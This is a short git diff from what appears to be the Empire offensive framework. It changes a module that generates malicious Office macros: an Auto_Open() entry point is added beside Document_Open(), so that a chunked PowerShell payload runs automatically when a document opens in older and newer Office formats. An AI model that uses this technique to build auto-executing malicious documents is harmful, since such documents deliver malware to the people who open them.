Merge pull request #63 from jamcut/legacy-option-for-macro-stager
Added "LegacyMacro" option for Office 97-2003 compatibility1.6
commit
5d8a64f75b
|
@ -9,7 +9,7 @@ class Stager:
|
|||
|
||||
'Author': ['@enigma0x3', '@harmj0y'],
|
||||
|
||||
'Description': ('Generates an office macro for Empire.'),
|
||||
'Description': ('Generates an office macro for Empire, compatible with office 97-2003, and 2007 file types.'),
|
||||
|
||||
'Comments': [
|
||||
'http://enigma0x3.wordpress.com/2014/01/11/using-a-powershell-payload-in-a-client-side-attack/'
|
||||
|
@ -79,7 +79,10 @@ class Stager:
|
|||
for chunk in chunks[1:]:
|
||||
payload += "\tstr = str + \"" + str(chunk) + "\"\n"
|
||||
|
||||
macro = "Sub Document_Open()\n"
|
||||
macro = "Sub Auto_Open()\n"
|
||||
macro += "\tDebugging\n"
|
||||
macro += "End Sub\n\n"
|
||||
macro += "Sub Document_Open()\n"
|
||||
macro += "\tDebugging\n"
|
||||
macro += "End Sub\n\n"
|
||||
|
||||
|
|
Loading…
Reference in New Issue